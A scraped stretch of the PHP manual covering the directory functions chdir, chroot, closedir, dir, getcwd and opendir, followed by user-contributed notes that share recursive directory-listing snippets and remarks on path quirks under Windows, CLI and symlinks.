It is easy to add files to the tree also - so enjoy.
Nicolas Merlet - admin(at)merletn.org 22-Jan-2006 07:34
Here is a very similar function to *scandir*, if you are still using PHP4...

This recursive function will return an indexed array containing all directories or files or both (depending on parameters). You can specify the depth you want, as explained below.

<?php

// $path : path to browse
// $maxdepth : how deep to browse (-1=unlimited)
// $mode : "FULL"|"DIRS"|"FILES"
// $d : must not be defined

function searchdir ( $path , $maxdepth = -1 , $mode = "FULL" , $d = 0 )
{
   if ( substr ( $path , strlen ( $path ) - 1 ) != '/' ) { $path .= '/' ; }
   $dirlist = array () ;
   if ( $mode != "FILES" ) { $dirlist[] = $path ; }
   if ( $handle = opendir ( $path ) )
   {
       while ( false !== ( $file = readdir ( $handle ) ) )
       {
           if ( $file != '.' && $file != '..' )
           {
               $file = $path . $file ;
               if ( ! is_dir ( $file ) ) { if ( $mode != "DIRS" ) { $dirlist[] = $file ; } }
               elseif ( $d >=0 && ($d < $maxdepth || $maxdepth < 0) )
               {
                   $result = searchdir ( $file . '/' , $maxdepth , $mode , $d + 1 ) ;
                   $dirlist = array_merge ( $dirlist , $result ) ;
               }
       }
       }
       closedir ( $handle ) ;
   }
   if ( $d == 0 ) { natcasesort ( $dirlist ) ; }
   return ( $dirlist ) ;
}

?>
Directory::rewind
chdir
Directories


Change directory

Directory Functions
chroot
Directory Functions
PHP Manual

chdir

(PHP 4, PHP 5)

chdir — Change directory

Description

bool chdir ( string $directory )

Changes PHP's current directory to directory.

Parameters

directory

The new current directory

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws an error of level E_WARNING on failure.

Examples

Example #1 chdir() example

<?php

// current directory
echo getcwd() . "\n";

chdir('public_html');

// current directory
echo getcwd() . "\n";

?>

The above example will output something similar to:

/home/vincent
/home/vincent/public_html

Notes

Note: When safe mode is enabled, PHP checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed.

See Also

  • getcwd() - Gets the current working directory

User Contributed Notes

php dot duke at qik dot nl 31-Jan-2009 02:16
When changing dir's under windows environments:

<?php
$path="c:\temp"';
chdir($path);
/* getcwd() gives you back "c:\temp" */

$path="c:\temp\"';
chdir($path);
/* getcwd() gives you back "c:\temp\" */
?>

to work around this inconsistency
doing a chdir('.') after the chdir always gives back "c:\temp"
andy dot clark at dial dot pipex dot com 21-Aug-2006 08:10
This only changes the directory for PHP, the output directory stays the same. If you are trying to access images from a relative path and you use the following then it will fail to render the image:

chdir ('images');
if (file_exists('php.gif'))
{
echo '<html>';
echo '<body>';
echo '<img src="php.gif">';
echo '</body></html>';
}

//However, it is possible to use the <base> tag in the header to change the directory for the resulting HTML, as you can see however this requires you to put the full path in place.

chdir ('images');
if (file_exists('php.gif'))
{
echo '<html>';
echo '<head><base href = "http://uk.php.net/images/"></head>';
echo '<body>';
echo '<img src="php.gif">';
echo '</body></html>';
}
herwin at snt dot utwente dot nl 17-Aug-2006 11:58
When using PHP safe mode and trying to change to a dir that is not accessible due to the safe mode restrictions, the function simply fails without generating any kind of error message.

(Tested in PHP 4.3.10-16, Debian Sarge default)
jeprubio _At_ gmail dot com 27-May-2005 12:25
If you run this script when $sym_dir is a symbolic link to a directory:
  echo getcwd()."\n";
  chdir ($sym_dir);
  chdir ('../');
  echo getcwd()."\n";

It returns for example:
  /dades/loc/real/mapes/navteq/anloc
  /mapes/anloc

It will not return to the previous directory, it returns to the parent of the real directory where it links the symbolic link.

It's not necessary a bug but I think it's important to have present this.

It could be solved saving the current directory and then returning to it. For example:
  $cwd = getcwd();
  echo getcwd()."\n";
  chdir ($sym_dir);
  chdir ($cwd);
  echo getcwd()."\n";

It returns:
  /dades/loc/real/mapes/navteq/anloc
  /dades/loc/real/mapes/navteq/anloc

Have fun :)
-------
   Josep Rubio (Anloc S.L. www.anloc.net)
Directory Functions
chroot
Directory Functions


Change the root directory

chdir
closedir
Directory Functions
PHP Manual

chroot

(PHP 4 >= 4.0.5, PHP 5)

chroot — Change the root directory

Description

bool chroot ( string $directory )

Changes the root directory of the current process to directory, and changes the current working directory to "/".

This function is only available to GNU and BSD systems, and only when using the CLI, CGI or Embed SAPI. Also, this function requires root privileges.

Parameters

directory

The path to change the root directory to.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 chroot() example

<?php
chroot("/path/to/your/chroot/");
echo getcwd();
?>

The above example will output:

/

Notes

Note: This function is not implemented on Windows platforms.

User Contributed Notes

nmmm at nmmm dot nu 20-Nov-2011 10:05
on my system this function is missing (Linux, php-cli), so I did:

if ( function_exists("chroot") ){
       chroot($chroot);
       server_log("chroot() to $chroot", 1);
}else{
       server_log("Can not chroot(). Will try live without it.");
}
chdir
closedir
Directory Functions


Close directory handle

chroot
dir
Directory Functions
PHP Manual

closedir

(PHP 4, PHP 5)

closedir — Close directory handle

Description

void closedir ([ resource $dir_handle ] )

Closes the directory stream indicated by dir_handle. The stream must have previously been opened by opendir().

Parameters

dir_handle

The directory handle resource previously opened with opendir(). If the directory handle is not specified, the last link opened by opendir() is assumed.

Examples

Example #1 closedir() example

<?php
$dir = "/etc/php5/";

// Open a known directory, read directory into variable and then close
if (is_dir($dir)) {
    if ($dh = opendir($dir)) {
        $directory = readdir($dh);
        closedir($dh);
    }
}
?>

User Contributed Notes

lester.k at virgin.com 22-Feb-2008 10:27
The manual says that one should only call closedir with a parameter which is an open directory handle.

The manual usually lists warnings and errors generated by violating a "should" or "shouldn't", but doesn't for this case.

In fact, one gets the runtime error
   Warning: closedir(): supplied argument is not a valid Directory resource in whatever.php on line nn
irrespective of whether it's an already-closed directory handle or whether it's total junk.

[Different error messages would have spared me a little debugging. Sigh. It would be nice if the manual said.]
foo at bar dot com 24-Nov-2000 10:35
About deleting a directory after doing a readdir/closedir on it... I'm not sure if this is the solution, but you could try to chdir("/"); before the rmdir to make absolutely sure you aren't standing in the directory (i.e trying to pull out the rug from under yourself).
chroot
dir
Directory Functions


Return an instance of the Directory class

closedir
getcwd
Directory Functions
PHP Manual

dir

(PHP 4, PHP 5)

dir — Return an instance of the Directory class

Description

Directory dir ( string $directory [, resource $context ] )

A pseudo-object oriented mechanism for reading a directory. The given directory is opened.

Parameters

directory

Directory to open

context

Note: Context support was added with PHP 5.0.0. For a description of contexts, refer to Streams.

Return Values

Returns an instance of Directory, or NULL with wrong parameters, or FALSE in case of another error.

Examples

Example #1 dir() example

Please note the fashion in which Directory::read()'s return value is checked in the example below. We are explicitly testing whether the return value is identical to (equal to and of the same type as - see Comparison Operators for more information) FALSE since otherwise, any directory entry whose name evaluates to FALSE will stop the loop.

<?php
$d = dir("/etc/php5");
echo "Handle: " . $d->handle . "\n";
echo "Path: " . $d->path . "\n";
while (false !== ($entry = $d->read())) {
   echo $entry."\n";
}
$d->close();
?>

The above example will output something similar to:

Handle: Resource id #2
Path: /etc/php5
.
..
apache
cgi
cli

Notes

Note:

The order in which directory entries are returned by the read method is system-dependent.

User Contributed Notes

Alex A. 02-Aug-2011 05:27
<?PHP
/*Simple, good looking recursive function for printing directories.
Just copy/paste and it is ready to go!*/

function printCurrentDirRecursively($originDirectory, $printDistance=0){

    // just a little html-styling
    if($printDistance==0)echo '<div style="color:#35a; font-family:Verdana; font-size:11px;">';
    $leftWhiteSpace = "";
    for ($i=0; $i < $printDistance; $i++)  $leftWhiteSpace = $leftWhiteSpace."&nbsp;";

    $CurrentWorkingDirectory = dir($originDirectory);
    while($entry=$CurrentWorkingDirectory->read()){
        if($entry != "." && $entry != ".."){
            if(is_dir($originDirectory."\\".$entry)){
                echo $leftWhiteSpace."<b>".$entry."</b><br>\n";
                printCurrentDirRecursively($originDirectory."\\".$entry, $printDistance+2);
             }
            else{
                echo $leftWhiteSpace.$entry."<br>\n";
            }
        }
    }
    $CurrentWorkingDirectory->close();

    if($printDistance==0)echo "</div>";
}

//TEST IT!
printCurrentDirRecursively(getcwd());

?>
GUILLE@GARGANO 18-Jan-2011 09:17
to get a dir of http://www.example.com/directory

<?php
function remotedir($dir)
{
  $dir = str_replace(" ", "%20", html_entity_decode($dir));
  if (($rh = fopen($dir, 'rb')) === FALSE) { return false; }
  $i = 0;
  while (!feof($rh)) {
     $archivos = fgetss($rh);
     $directorio[$i++] = trim( substr($archivos,1,strpos($archivos," ",1)) );
  }
  fclose($rh);
  return $directorio;
}
?>
emanueledelgrande at email dot it 01-Oct-2009 06:14
When creating custom solutions, use predefined PHP constants to shorten your code and improve performances:
http://www.php.net/manual/en/reserved.constants.php

For example, DIRECTORY_SEPARATOR may replace a function in which you check PHP_OS to set if the directory separator is "/" or "\\".

Cheers.
sojka at online-forum dot net 20-Oct-2008 03:47
That's the way, I'm storing recursive dirs to an array.

<?php
public static function getTreeFolders($sRootPath = UPLOAD_PATH_PROJECT, $iDepth = 0) {
      $iDepth++;
      $aDirs = array();
      $oDir = dir($sRootPath);
      while(($sDir = $oDir->read()) !== false) {
        if($sDir != '.' && $sDir != '..' && is_dir($sRootPath.$sDir)) {
          $aDirs[$iDepth]['sName'][] = $sDir;
          $aDirs[$iDepth]['aSub'][]  = self::getTreeFolders($sRootPath.$sDir.'/',$iDepth);
        }
      }
      $oDir->close();
      return empty($aDirs) ? false : $aDirs;
}
?>
manuel at buschmanuel dot de 07-Feb-2008 02:45
Here my solution how to do effective recursiv directory listing.

Have fun.

<?php

/**
 * example of use:
 */
$d = new RecDir("/etc/",false);
echo "Path: " . $d->getRootPath() . "\n";
while (false !== ($entry = $d->read())) {
   echo $entry."\n";
}
$d->close();

class RecDir
{
   protected $currentPath;
   protected $slash;
   protected $rootPath;
   protected $recursiveTree;

   function __construct($rootPath,$win=false)
   {
      switch($win)
      {
         case true:
            $this->slash = '\\';
            break;
         default:
            $this->slash = '/';
      }
      $this->rootPath = $rootPath;
      $this->currentPath = $rootPath;
      $this->recursiveTree = array(dir($this->rootPath));
      $this->rewind();
   }

   function __destruct()
   {
      $this->close();
   }

   public function close()
   {
      while(true === ($d = array_pop($this->recursiveTree)))
      {
         $d->close();
      }
   }

   public function closeChildren()
   {
      while(count($this->recursiveTree)>1 && false !== ($d = array_pop($this->recursiveTree)))
      {
         $d->close();
         return true;
      }
      return false;
   }

   public function getRootPath()
   {
      if(isset($this->rootPath))
      {
         return $this->rootPath;
      }
      return false;
   }

   public function getCurrentPath()
   {
      if(isset($this->currentPath))
      {
         return $this->currentPath;
      }
      return false;
   }

   public function read()
   {
      while(count($this->recursiveTree)>0)
      {
         $d = end($this->recursiveTree);
         if((false !== ($entry = $d->read())))
         {
            if($entry!='.' && $entry!='..')
            {
               $path = $d->path.$entry;

               if(is_file($path))
               {
                  return $path;
               }
               elseif(is_dir($path.$this->slash))
               {
                  $this->currentPath = $path.$this->slash;
                  if($child = @dir($path.$this->slash))
                  {
                     $this->recursiveTree[] = $child;
                  }
               }
            }
         }
         else
         {
            array_pop($this->recursiveTree)->close();
         }
      }
      return false;
   }

   public function rewind()
   {
      $this->closeChildren();
      $this->rewindCurrent();
   }

   public function rewindCurrent()
   {
      return end($this->recursiveTree)->rewind();
   }
}
?>
jennevdmeer at zonnet dot nl 27-Nov-2007 11:41
Unlike the others here I've created a function that returns the directory's in a 2-dimensional array. Starting from the requested dir:

<?php
    /*
        getDirTree(string $dir [, bool $showfiles]);
        $dir of the folder you want to list, be sure to have an ending /
        $showfiles set to 'false' if files shouldnt be listed in the output array
    */
    function getDirTree($dir,$p=true) {
        $d = dir($dir);$x=array();
        while (false !== ($r = $d->read())) {
            if($r!="."&&$r!=".."&&(($p==false&&is_dir($dir.$r))||$p==true)) {
                $x[$r] = (is_dir($dir.$r)?array():(is_file($dir.$r)?true:false));
            }
        }
        foreach ($x as $key => $value) {
            if (is_dir($dir.$key."/")) {
                $x[$key] = getDirTree($dir.$key."/",$p);
            }
        }
        ksort($x);
        return $x;
    }
?>

Example Output:
Array
(
    [folder1] => Array
        (
            [subfolder1] => Array()
            [subfolder2] => Array()
            [text.txt] => 1
        )

    [folder2] => Array()
    [folder3] => Array
        (
            [text.txt] => 1
        )

)
cf at chronofish dot com 25-Jun-2007 03:23
The dir Class, from what I can tell, on a Windows box is not a  live image of the directory.  When the class is instantiated it takes a snapshot of the directory and then the iterator works off that.

I may be wrong, but when I run two processes that look to see if a directory exists, and then deletes the dir when some processing takes place.  Deletes from one process do not effect the iteration of the second.

To get around this I check that the file exists before doing my processing:

$d = dir($dataDir);
while (false !== ($entry = $d->read()))
if ($entry != '..' && $entry != '.' && file_exists("$dataDir\\$entry"))
{
    // do stuff
}
$d->close();

I run this as a batch process and can activate it multiple times to process the directory listing in parallel.

-CF
thomas at hawkes dot ca 31-Jan-2007 06:10
With SPL, you could recursively list all of the folders inside the current directory like this:

<?php
$it = new RecursiveDirectoryIterator('./');

// RecursiveIteratorIterator accepts the following modes:
//     LEAVES_ONLY = 0  (default)
//     SELF_FIRST  = 1
//     CHILD_FIRST = 2
foreach (new RecursiveIteratorIterator($it, 2) as $path) {

    if ($path->isDir()) {

        echo "$path\n";

    }

}
?>
http://www.rooftopsolutions.nl 18-Jan-2007 09:17
<?php

  $i = new RecursiveIteratorIterator(new RecursiveDirectoryIterator('.'));

?>

works for me..
alex at snet-group dot org 01-Oct-2006 11:55
IMHO, thats take most effect with smaller number of errors;)

     function get_leaf_dirs($dir)
      {
         $array = array();
         $d = @dir($dir);
         if($d)
         {
               while (false !== ($entry = $d->read()))
               {
                   if($entry!='.' && $entry!='..')
                   {
                       $entry = $dir.'/'.$entry;
                       if(is_dir($entry))
                       {
                           $subdirs = get_leaf_dirs($entry);
                           if ($subdirs)
                             $array = array_merge($array, $subdirs);
                           else
                             $array[] = $entry;
                       }
                   }
               }
               $d->close();
         }
         return $array;
      }
done_to_death at example dot com 23-Aug-2006 05:56
function directoryList($start,$win32=false){
    if($win32){
        $slash="\\";
    }else{
        $slash="/";
    }
    $basename = pathinfo($start);
    $basename = $basename['basename'];
    $ls=array();
    $dir = dir($start);
    while($item = $dir->read()){
        if(is_dir($start.$slash.$item)&& $item!="." && $item!=".."){
            $ls[$basename][]=directoryList($start.$slash.$item,$win32);
        }else{
            if($item!="."&&$item!=".."){
                $ls[$basename][]=$item;
            }
        }
    }
    return $ls;
}

$path = pathinfo(__FILE__);
$ls = directoryList($path['dirname'], true);
22-Feb-2006 01:02
Regarding samuel's comment about the dir() function not supporting Unicode properly, it's all in the encoding. The function does NOT internally change Unicode characters into question marks (?), as I was first led to believe. If you simply try to output them in UTF-8, they'll show up just right.
samuel dot l at mushicrew dot com 24-Jan-2006 10:52
Note that the dir object will use the default encoding for non-unicode programs on Windows with PHP 5.x.

So, if you have a file named with characters unsupported by the current default encoding, the dir->read() method will return a wrong entry.

<?php
/*
** This script is on the same directory than a file named with
** unsupported characters for the current default encoding.
*/
$d = dir("./");
while(false !== ($e = $d->read()))
    echo $e . '<br/>';
?>

This will print a "?" for every unsupported characters, and not the right file name. So take care if you check with is_file/is_dir right after enumerating.
radar at frozenplague dot net 13-Jan-2006 12:00
Regarding jaqb's post about a correction to the read_dir function, I have one small fix too if people wish to also list the directories inside this directory and read them into the same array.

<?
function read_dir($dir) {
   $array = array();
   $d = dir($dir);
   while (false !== ($entry = $d->read())) {
       if($entry!='.' && $entry!='..') {
           $entry = $dir.'/'.$entry;
           if(is_dir($entry)) {
               $array[] = $entry;
               $array = array_merge($array, read_dir($entry));
           } else {
               $array[] = $entry;
           }
       }
   }
   $d->close();
   return $array;
}
?>
fordiman at gmail dot com 10-Jan-2006 10:15
Saw the leaf dirs bit...  quick mod:

function preg_ls ($path=".", $rec=false, $pat="/.*/") {
    $pat=preg_replace ("|(/.*/[^S]*)|s", "\\1S", $pat);
    while (substr ($path,-1,1) =="/") $path=substr ($path,0,-1);
    if (!is_dir ($path) ) $path=dirname ($path);
    if ($rec!==true) $rec=false;
    $d=dir ($path);
    $ret=Array ();
    while (false!== ($e=$d->read () ) ) {
        if ( ($e==".") || ($e=="..") ) continue;
        if ($rec && is_dir ($path."/".$e) ) {
            $ret=array_merge ($ret,preg_ls($path."/".$e,$rec,$pat));
            continue;
        }
        if (!preg_match ($pat,$e) ) continue;
        $ret[]=$path."/".$e;
    }
    return (empty ($ret) && preg_match ($pat,basename($path))) ? Array ($path."/") : $ret;
}

example:

foreach (preg_ls ("/usr/share/fluxbox", true, "/[LT]e[sa]/i") as $file) echo $file."\n";

output:

/usr/share/fluxbox/styles/Leaf/
/usr/share/fluxbox/styles/Clean
/usr/share/fluxbox/styles/Testing/
fordiman at gmail dot com 10-Jan-2006 10:05
This one's pretty nice.  After getting frustrated for hunting down .jpg files in my massive music collection (PHP would run out of memory), I thought there should be a preg_ls function.

function preg_ls ($path=".", $rec=false, $pat="/.*/") {
    // it's going to be used repeatedly, ensure we compile it for speed.
    $pat=preg_replace("|(/.*/[^S]*)|s", "\\1S", $pat);
    //Remove trailing slashes from path
    while (substr($path,-1,1)=="/") $path=substr($path,0,-1);
    //also, make sure that $path is a directory and repair any screwups
    if (!is_dir($path)) $path=dirname($path);
    //assert either truth or falsehoold of $rec, allow no scalars to mean truth
    if ($rec!==true) $rec=false;
    //get a directory handle
    $d=dir($path);
    //initialise the output array
    $ret=Array();
    //loop, reading until there's no more to read
    while (false!==($e=$d->read())) {
        //Ignore parent- and self-links
        if (($e==".")||($e=="..")) continue;
        //If we're working recursively and it's a directory, grab and merge
        if ($rec && is_dir($path."/".$e)) {
            $ret=array_merge($ret,preg_ls($path."/".$e,$rec,$pat));
            continue;
        }
        //If it don't match, exclude it
        if (!preg_match($pat,$e)) continue;
        //In all other cases, add it to the output array
        $ret[]=$path."/".$e;
    }
    //finally, return the array
    return $ret;
}

Not bad for a mere 18 lines, don't you think?

Example use:

foreach (preg_ls("/etc/X11", true, "/.*\.conf/i") as $file) echo $file."\n";

Output:

/etc/X11/xkb/README.config
/etc/X11/xorg.conf-vesa
/etc/X11/xorg.conf~
/etc/X11/gui.conf
/etc/X11/xorg.conf
/etc/X11/xorg.conf-fbdev
Anton Backer 04-Jan-2006 07:24
i've modified the script below to get the leaf folders of any directory (folders with no subfolders).

note: this does not return the folder passed in as a parameter, even if it has no subfolders.

<?php
function get_leaf_dirs($dir) {
   $array = array();
   $d = dir($dir);
   while (false !== ($entry = $d->read())) {
       if($entry!='.' && $entry!='..') {
           $entry = $dir.'/'.$entry;
           if(is_dir($entry)) {
               $subdirs = get_leaf_dirs($entry);
               if ($subdirs)
                  $array = array_merge($array, $subdirs);
               else
                  $array[] = $entry;
           }
       }
   }
   $d->close();
   return $array;
}
?>
closedir
getcwd
Directory Functions


Gets the current working directory

dir
opendir
Directory Functions
PHP Manual

getcwd

(PHP 4, PHP 5)

getcwd — Gets the current working directory

Description

string getcwd ( void )

Gets the current working directory.

Return Values

Returns the current working directory on success, or FALSE on failure.

On some Unix variants, getcwd() will return FALSE if any one of the parent directories does not have the readable or search mode set, even if the current directory does. See chmod() for more information on modes and permissions.

Examples

Example #1 getcwd() example

<?php

// current directory
echo getcwd() . "\n";

chdir('cvs');

// current directory
echo getcwd() . "\n";

?>

The above example will output something similar to:

/home/didou
/home/didou/cvs

See Also

  • chdir() - Change directory
  • chmod() - Changes file mode

User Contributed Notes

Anonymous 14-Jul-2010 04:04
As you could read in
http://www.php.net/manual/en/features.commandline.differences.php
the CLI SAPI does - contrary to other SAPIs - NOT automatically change the current working directory to the one the started script resides in.

A very simple workaround to regain the behaviour you're used to from your "ordinary" webpage scripting is to include something like that at the beginning of your script:

<?php
  chdir( dirname ( __FILE__ ) );
?>

But because this is about reading or "finding" pathes, you might appreciate it if I share some more sophisticated tricks I frequently use in CLI scripts ...

<?php
// Note: all pathes stored in subsequent Variables end up with a DIRECTORY_SEPARATOR

// how to store the working directory "from where" the script was called:
$initial_cwd = preg_replace( '~(\w)$~' , '$1' . DIRECTORY_SEPARATOR , realpath( getcwd() ) );

// how to switch symlink-free to the folder the current file resides in:
chdir( dirname ( realpath ( __FILE__ ) ) );

// how to store the former folder in a variable:
$my_folder = dirname( realpath( __FILE__ ) ) . DIRECTORY_SEPARATOR;

// how to get a path one folder up if $my_folder ends with \class\ or /class/ :
$my_parent_folder = preg_replace( '~[/\\\\]class[/\\\\]$~' , DIRECTORY_SEPARATOR , $my_folder );

// how to get a path one folder up in any case :
$my_parent_folder = preg_replace( '~[/\\\\][^/\\\\]*[/\\\\]$~' , DIRECTORY_SEPARATOR , $my_folder );

// how to make an array of OS-style-pathes from an array of unix-style-pathes
// (handy if you use config-files or so):
foreach( $unix_style_pathes as $unix_style_path )
    $os_independent_path[] = str_replace( '/' , DIRECTORY_SEPARATOR , $unix_style_path );

?>
bvidinli at gmail dot com 21-Jan-2009 01:13
if you link your php to /bin/linkedphp  and your php is at for ex /home/actual.php

when you run linkedphp in somewhere in your filesystem,
getcwd returns /bin instead of working dir,

solution: use dirname(__FILENAME__) instead
ash at ashmckenzie dot org 18-Nov-2008 05:37
It appears there is a change in functionality in PHP5 from PHP4 when using the CLI tool.  Here is the example: -

cd /tmp

cat > foo.php << END
<?php
    print getcwd() . "\n";
?>
END

cd /

php -q /tmp/foo.php

PHP4 returns /tmp
PHP5 returns /

Something to be aware of.
Wolfgang M. Pauli 04-May-2008 07:44
If you try to use getcwd() in a directory that is a symbolic link, getcwd() gives you the target of that link (similarly when parent etc. is symbolic link). There might be a better solution, but this worked for me (linux):
<? php
$cwd = exec('pwd');
?>
znupi69NOSPAMHERE at gmail dot com 03-Mar-2008 10:39
In response to myself: that function will not work for cases like:
/usr/bin$: /home/johndoe/Work/script.php
So here's a better and simpler way (I think this one works for all cases)
<?php
function get_file_dir() {
    global $argv;
    return realpath($argv[0]);
}
?>
Knock yourself out :)
znupi69NOSPAMHERE at gmail dot com 02-Mar-2008 07:01
When running PHP on the command line, if you want to include another file which is in the same directory as the main script, doing just
<?php
include './otherfile.php';
?>
might not work, if you run your script like this:
/$ /path/to/script.php
because the current working dir will be set to '/', and the file '/otherfile.php' does not exist, because it is in '/path/to/otherfile.php'.
So, to get the directory in which the script resides, you can use this function:
<?php
function get_file_dir() {
    global $argv;
    $dir = dirname(getcwd() . '/' . $argv[0]);
    $curDir = getcwd();
    chdir($dir);
    $dir = getcwd();
    chdir($curDir);
    return $dir;
}
?>
So you can use it like this:
<?php
include get_file_dir() . '/otherfile.php';
// or even..
chdir(get_file_dir());
include './otherfile.php';
?>
Spent some time thinking this one out, maybe it helps someone :)
leonbrussels at gmail dot com 17-Dec-2007 08:10
This is a function to convert a path which looks something like this:

/home/www/somefolder/../someotherfolder/../

To a proper directory path:

<?php

function simplify_path($path) {

//saves our current working directory to a variable
$oldcwd = getcwd();
//changes the directory to the one to convert
//$path is the directory to convert (clean up), handed over to the //function as a string

chdir($path);
return gstr_replace('\\', '/', getcwd());

//change the cwd back to the old value to not interfere with the script
chdir($oldcwd);

}

This function is really useful if you want to compare two filepaths which are not necesarily in a "cleaned up" state. It works in *NIX and WINDOWS alike

?>
ab5602 at wayne dot edu 30-Sep-2007 10:33
If getcwd() returns nothing for you under Solaris with an NFS mounted subdirectory, you are running into an OS bug that is supposedly fixed in recent versions of Solaris 10.  This same OS bug effects the include() and require() functions as well.
troy dot cregger at gmail dot com 26-Jan-2007 12:10
Take care if you use getcwd() in file that you'll need to include (using include, require, or *_once) in a script located outside of the same directory tree.

example:
<?php
//in /var/www/main_document_root/include/MySQL.inc.php
if (strpos(getcwd(),'main_')>0) {
  //code to set up main DB connection
}
?>

<?php
//in home/cron_user/maintenance_scripts/some_maintenance_script.php
require_once ('/var/www/main_document_root/include/MySQL.inc.php');
?>

In the above example, the database connection will not be made because the call to getcwd() returns the path relative to the calling script ( /home/cron_user/maintenance_scripts ) NOT relative to the file where the getcwd() function is called.
mark dot phpnetspam at mhudson dot net 03-Nov-2006 01:42
This function is often used in conjuction with basename(), i.e.
http://www.php.net/manual/en/function.basename.php
hodgman at ali dot com dot au 06-Sep-2006 07:58
I use this code to replicate the pushd and popd DOS commands in PHP:

<?php
$g_DirStack = array();
function pushd( $dir )
{
    global $g_DirStack;
    array_push( $g_DirStack, getcwd() );
    chdir( $dir );
}
function popd( )
{
    global $g_DirStack;
    $dir = array_pop( $g_DirStack );
    assert( $dir !== null );
    chdir( $dir );
}
?>

This allows you to change the current directory with pushd, then use popd to "undo" the directory change when you're done.
emailfire at gmail dot com 08-Dec-2005 06:57
To get the username of the account:

<?php
$dir = getcwd();
$part = explode('/', $dir);
$username = $part[1];
?>

If current directory is '/home/mike/public_html/' it would return mike.
memandeemail at gmail dot com 07-Dec-2005 03:48
Some server's has security options to block the getcwd()

Alternate option:

str_replace($_SERVER['SCRIPT_NAME'],'', $_SERVER['SCRIPT_FILENAME']);
marcus at synchromedia dot co dot uk 04-May-2005 08:41
"On some Unix variants, getcwd() will return FALSE if any one of the parent directories does not have the readable or search mode set, even if the current directory does."

Just so you know, MacOS X is one of these variants (at least 10.4 is for me). You can make it work by applying 'chmod a+rx' to all folders from your site folder upwards.
vermicin at antispam dot gmail dot com 27-Jan-2005 03:48
If your PHP cli binary is built as a cgi binary (check with php_sapi_name), the cwd functions differently than you might expect.

say you have a script /usr/local/bin/purge
you are in /home/username

php CLI: getcwd() gives you /home/username
php CGI: getcwd() gives you /usr/local/bin

This can trip you up if you're writing command line scripts with php. You can override the CGI behavior by adding -C to the php call:

#!/usr/local/bin/php -Cq

and then getcwd() behaves as it does in the CLI-compiled version.
manux at manux dot org 21-Jun-2004 09:44
watch out:
working directory, and thus:
getcwd ()
is "/" while being into a register'ed shutdown function!!!
dave at corecomm dot us 10-Dec-2003 10:14
getcwd() returns the path of the "main" script referenced in the URL.

dirname(__FILE__) will return the path of the script currently executing.

I had written a script that required several class definition scripts from the same directory. It retrieved them based on filename matches and used getcwd to figure out where they were.

Didn't work so well when I needed to call that first script from a new file in a different directory.
fvu at wanadoo dot nl 23-Nov-2003 05:50
Make sure to lowercase the result before comparing Windows paths, because this function returns ambiguous results on Windows.  From within Apache, the returned path is lowercase, while from the command line interface (CLI) the returned path uses the 'real' Windows pathname.  For example, running the 'print getcwd();' command from 'C:\Program Files' returns either

   c:\program files   (Apache)
   C:\Program Files   (CLI)

When the directory is specified using chdir(), getcwd() uses the exact chdir argument.  For example:

   <?php chdir('C:\\PrOgRaM fIlEs'); print getcwd(); ?>

outputs:

   C:\PrOgRaM fIlEs   (Apache & CLI)

The following code can be used to return a unambiguous lowercased cwd when running on Windows:

   <?php $sCwd = (substr(PHP_OS, 0, 3) == 'WIN') ? strtolower(getcwd()) : getcwd(); ?>
raja at rajashahed dot com 06-Nov-2003 10:21
This is  current working directory. X example, your document root is c:\Inetpub\www\htdocs. When You need to know what is your doc_root; /* Like ask yourself   your name ;)*/

$_cur_dir = getcwd();
echo "My doc_root is  $_cur_dir ";
// it prints out : My doc_root is c:\Inetpub\www\htdocs

/* Usually you need it after using  chdir() to know what is
running in current directory */
Regards
Raja
dir
opendir
Directory Functions


Open directory handle

getcwd
readdir
Directory Functions
PHP Manual

opendir

(PHP 4, PHP 5)

opendir — Open directory handle

Description

resource opendir ( string $path [, resource $context ] )

Opens up a directory handle to be used in subsequent closedir(), readdir(), and rewinddir() calls.

Parameters

path

The directory path that is to be opened

context

For a description of the context parameter, refer to the streams section of the manual.

Return Values

Returns a directory handle resource on success, or FALSE on failure.

If path is not a valid directory or the directory can not be opened due to permission restrictions or filesystem errors, opendir() returns FALSE and generates a PHP error of level E_WARNING. You can suppress the error output of opendir() by prepending '@' to the front of the function name.

Changelog

Version | Description
5.0.0 | path supports the ftp:// URL wrapper.
4.3.0 | path can also be any URL which supports directory listing, however only the file:// URL wrapper supports this in PHP 4

Examples

Example #1 opendir() example

<?php
$dir = "/etc/php5/";

// Open a known directory, and proceed to read its contents
if (is_dir($dir)) {
    if ($dh = opendir($dir)) {
        while (($file = readdir($dh)) !== false) {
            echo "filename: $file : filetype: " . filetype($dir . $file) . "\n";
        }
        closedir($dh);
    }
}
?>

The above example will output something similar to:

filename: . : filetype: dir
filename: .. : filetype: dir
filename: apache : filetype: dir
filename: cgi : filetype: dir
filename: cli : filetype: dir

See Also

  • is_dir() - Tells whether the filename is a directory
  • readdir() - Read entry from directory handle
  • dir() - Return an instance of the Directory class

User Contributed Notes

sebastian dot kroskiewicz at gmail dot com 02-Oct-2010 06:54
If you search for a comfortable way to include javascript code from other javascript code, here is a useful tool based on opendir():

<?php

class JSIncluder {
    private static $included = array();

    private static function ext($filename) {
        return pathinfo($filename, PATHINFO_EXTENSION);
    }

    public static function includeFile($file) {
        if (isset(JSIncluder::$included[$file]))
            return;
        JSIncluder::$included[$file] = true;

        $contents = file_get_contents($file);
        preg_match_all('/\/\*include:([^*]+)\*\//', $contents, $deps);

        foreach ($deps[1] as $dep) {
            if (is_file($dep)) {
                JSIncluder::includeFile($dep);
            } else
                JSIncluder::includeAll($dep);
        }

        echo '<script type="text/javascript">' . $file . '</script>' . PHP_EOL;
    }

    private static function includeAll($dir) {
        if (($handle = opendir($dir))) {
            while ($file = readdir($handle)) {
                clearstatcache();
                if (is_file($dir . '/' . $file)) {
                    if (JSIncluder::ext($file) == 'js') {
                        JSIncluder::includeFile($dir . '/' . $file);
                    }
                } elseif ($file != '..' && $file != '.')
                    JSIncluder::includeAll($dir . '/' . $file);
            }
            closedir($handle);
        }
    }

}

?>

Now, you can just write <?php JSIncluder::includeFile('path/to/script/main.js') ?> in your <head> section and then you can include files directly from your javascript files by typing /*include:path/to/other/script/foo.js*/ anywhere! For example:

/*include:scripts/lib*/ //it will include the whole lib dir and its subdirectories
/*include:scripts/helloworld.js*/ //it will include only one file

$(function() {
    $(body).html('Hello world!');
});

and in your html code:
<head>
<?php JSIncluder::includeFile('scripts/main.js') ?>
</head>

